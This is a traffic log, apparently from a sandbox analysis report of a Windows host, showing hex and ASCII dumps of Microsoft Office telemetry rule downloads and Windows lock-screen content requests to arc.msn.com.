2024-11-20 17:57:46 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-20 17:57:46 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:46 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:46 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: be70f01e-301e-000c-538c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175746Z-1777c6cb754xrr98hC1TEB3kag00000009sg00000000f9d3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:46 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:46 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:46 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: dd359c47-601e-0002-7817-3ba786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175746Z-r1d97b99577xdmfxhC1TEBqbhg00000000x0000000005v51 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:46 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:46 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:46 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175746Z-185f5d8b95ctl8xlhC1NYCn94g0000000arg0000000037ru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:46 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:46 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:46 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: c3a4d188-401e-0083-6b19-3b075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175746Z-r1d97b9957744xz5hC1TEB5bf80000000940000000008989 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:47 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:46 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:46 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175746Z-185f5d8b95c68cvnhC1NYCfn7s0000000an000000000a3p1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:47 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49861	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:47 UTC	2604	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T175742Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=d8138f3dce7b41b682f8729ff9e7fa36&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593979&metered=false&nettype=ethernet&npid=sc-338387&oemName=qpklgl%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=qpklgl20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593979&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAe21EF+Rxpq8kmMBdNHwaizEVjwJwFsi9LtZpFv3ILy2o3iFAxxDU9aix+hlov70JF2lFQuoNfWosftgtbmXyubdR6jMFZgMNu3TNpVnDKy5TCXwjQCxkGPmBI4ql7W62eRT56W167QsU6lk9aloS+XdVOlhuoVfw8nth6I21HBji7SI+y1rwF3dENsML0ULkxRnYiLZ4q271194FKtqEHudSH6RonI733c2NK8WDPyPBjPoiBL0iNr3ZFd/x1dMXs20NBiVlcCCmLoIt9viMDAb3GgtzFSH+c45XrMrWpoGTe6HeQj84fNw3cl65ckrwHXUqd9Sjt9djzD2WH3HGisQZgAAECGs1f5hiDJ39EsbAqLE5qywAZUXY7C3643/KbGAL7lskM/yp052XwVPi0gX8mRL6cHYLYyUCmoBAMiGh327mhgeOHCltAAkV45Opx84k94K/Pqt1G9rWL/y9NMhF6anR5SSn7BSw0CMWY3sdgZZdQTO1L0xp3b5EIDaL9Owra/ewTMKEoi9HV0Fn0yQKOE5grhNQtt/uSyfNPZ/JlildB+9wgfEdYn9hQvx26rtor9RgwUt7aAv+lRF3Q8Htvct06xKprBZVAZdmnaQRKSnxXdl8zehU9E/8auJSYK86r0dKMmI2qyP6TdOVZp2Aqb6xCG7TipdNOAFpB3APHzrALNvokY9bHVadQHNKaH6AnuDlRxefg6NZ4rlrxpBePZLP004oyUEIJuNSGlN9XfdO1ghmOzhaywZLvsR4HyR4XLmIAbmcfYorfWEfCN8V/3u78gDGvTo9KBN+HO3sDx8hLvsPLD9wXD5cTymQknUqUsXR2nlznPY1wPwYwu5S+IVQFhkKpHkUfplB+JPkyJ/X5VfP2vvc8uaNxQa/1SEc9IAPtTTOQmgb0GLbMGrB5uB/00Rm+KR+XI8JMAkUeqqWeovl9cB&p= Cache-Control: no-cache MS-CV: X3A135pH506y4OIk.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-20 17:57:47 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 23360 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: fr5KLX4SjlUy+PJQPMWNi7AElWyI+FaAeybbBYvnhFBOfT9VyUY92U6ozJHUY5C6ojjE6IptsHJz/SQ0ImXXz5LRr8k5WvJcxT+G64+ByJouuwc35rZPixONcuJbQQgA1dIGT2gnXEN3D/s8PpQThksC2TdyxJtyYZ8aXZtLf/DK2wV+lTk7Wa6T5pWkygPiJCISPkFlVXWzUtgEQVi+YoDwhGs+nphSQ+dwd+5bf7T2OEfMkxoEkROej4vkbEM//3eIcsBzOgkA0y3PwVq6m39H4LYpQprXbNdJ9x47S78czpg8Yq66N2tMgnHCatnEIafVa+sy6drsSWlbNu6rQQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 17:57:47 GMT Connection: close
2024-11-20 17:57:47 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-11-20 17:57:48 UTC	7791	IN	Data Raw: 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 67 65 5c 22 7d 2c 5c 22 70 6f 72 74 72 61 69 74 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 67 65 5c 22 7d 2c 5c 22 73 68 6f 77 49 6d 61 67 65 4f 6e 53 65 63 75 72 65 4c 6f 63 6b 5c 22 3a 7b 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 2c 5c 22 74 79 70 65 5c 22 3a 5c 22 62 6f 6f 6c 65 61 6e 5c 22 Data Ascii: edContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"image\"},\"portraitImage\":{\"type\":\"image\"},\"showImageOnSecureLock\":{\"isOptional\":true,\"type\":\"boolean\"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49860	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:47 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T175742Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=6dabf1d45e9c46a8832de0f67e61659a&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593979&metered=false&nettype=ethernet&npid=sc-280815&oemName=qpklgl%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=qpklgl20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593979&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAe21EF+Rxpq8kmMBdNHwaizEVjwJwFsi9LtZpFv3ILy2o3iFAxxDU9aix+hlov70JF2lFQuoNfWosftgtbmXyubdR6jMFZgMNu3TNpVnDKy5TCXwjQCxkGPmBI4ql7W62eRT56W167QsU6lk9aloS+XdVOlhuoVfw8nth6I21HBji7SI+y1rwF3dENsML0ULkxRnYiLZ4q271194FKtqEHudSH6RonI733c2NK8WDPyPBjPoiBL0iNr3ZFd/x1dMXs20NBiVlcCCmLoIt9viMDAb3GgtzFSH+c45XrMrWpoGTe6HeQj84fNw3cl65ckrwHXUqd9Sjt9djzD2WH3HGisQZgAAECGs1f5hiDJ39EsbAqLE5qywAZUXY7C3643/KbGAL7lskM/yp052XwVPi0gX8mRL6cHYLYyUCmoBAMiGh327mhgeOHCltAAkV45Opx84k94K/Pqt1G9rWL/y9NMhF6anR5SSn7BSw0CMWY3sdgZZdQTO1L0xp3b5EIDaL9Owra/ewTMKEoi9HV0Fn0yQKOE5grhNQtt/uSyfNPZ/JlildB+9wgfEdYn9hQvx26rtor9RgwUt7aAv+lRF3Q8Htvct06xKprBZVAZdmnaQRKSnxXdl8zehU9E/8auJSYK86r0dKMmI2qyP6TdOVZp2Aqb6xCG7TipdNOAFpB3APHzrALNvokY9bHVadQHNKaH6AnuDlRxefg6NZ4rlrxpBePZLP004oyUEIJuNSGlN9XfdO1ghmOzhaywZLvsR4HyR4XLmIAbmcfYorfWEfCN8V/3u78gDGvTo9KBN+HO3sDx8hLvsPLD9wXD5cTymQknUqUsXR2nlznPY1wPwYwu5S+IVQFhkKpHkUfplB+JPkyJ/X5VfP2vvc8uaNxQa/1SEc9IAPtTTOQmgb0GLbMGrB5uB/00Rm+KR+XI8JMAkUeqqWeovl9cB&p= Cache-Control: no-cache MS-CV: X3A135pH506y4OIk.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-20 17:57:47 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2937 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: uisS+0fRFLovVo23lGb1tuvx3psns+Jfq2kkZO0UAwmqReglAzi1ma7praffUsYLiwNNM2JQbRmXL6SrX9e+W7rcEwQ79FEB2w1IiIjr79UJwDxOaiZfc9pNR6WAq6yVCwrjoxCSxdBVyVDuQFfspFOmKn8QLWDgJl53CTOQsmjnxQCdUkjB0syYvz3niYm5Ud6NecLBuyNCuwvmzr+SJCGd+sTOh51bMhiDx9Gn2HAOA5Uzx5cLspewkRYCfuNIjpIopST4WXhl2Hpifj1EOCfeUZOZd9QAVoss1WpV5NxDlUdfrbwg7PhgAnwr+//+odI4ImC6fUU0/9nSkF3YKA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 17:57:46 GMT Connection: close
